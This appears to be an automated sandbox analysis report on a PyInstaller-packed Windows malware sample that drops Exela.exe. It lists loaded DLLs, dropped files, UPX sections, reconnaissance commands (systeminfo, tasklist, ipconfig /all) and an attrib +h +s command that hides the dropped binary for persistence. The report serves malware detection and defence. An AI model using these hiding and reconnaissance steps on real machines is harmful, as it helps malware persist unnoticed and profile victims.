Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\query.exe	Section loaded: regapi.dll
Source: C:\Windows\System32\quser.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\quser.exe	Section loaded: utildll.dll
Source: C:\Windows\System32\quser.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\quser.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Static file information: File size 11317024 > 1048576

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: crypto\engine\tb_digest.cENGINE_get_digestcrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancrypto\packet.ccompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: tRSA_PRIME_INFOeqdmp1dmq1iqmpprime_infosRSAPrivateKeyRSAPublicKeyhashAlgorithmmaskGenAlgorithmsaltLengthtrailerFieldRSA_PSS_PARAMShashFuncmaskGenFuncpSourceFuncRSA_OAEP_PARAMScompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.2.1built on: Fri Feb 23 00:13:44 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-csg7dlje\src\rust\target\release\deps\cryptography_rust.pdb source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\python3.pdb source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657012917.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986952157.000002DCCEDE0000.00000002.00000001.01000000.00000006.sdmp, Exela.exe, 00000051.00000003.1831588046.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1650799388.000001FC75802000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1803607087.0000023B784A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-csg7dlje\src\rust\target\release\deps\cryptography_rust.pdbo source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0xEFFF39AD [Sun Aug 4 18:57:49 2097 UTC]

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: _rust.pyd.0.dr	Static PE information: section name: UPX2
Source: Exela.exe.1.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.81.dr	Static PE information: section name: _RDATA
Source: libffi-8.dll.81.dr	Static PE information: section name: UPX2
Source: _rust.pyd.81.dr	Static PE information: section name: UPX2

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\multidict\_multidict.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\python311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_writer.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_helpers.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_queue.pyd	Jump to dropped file
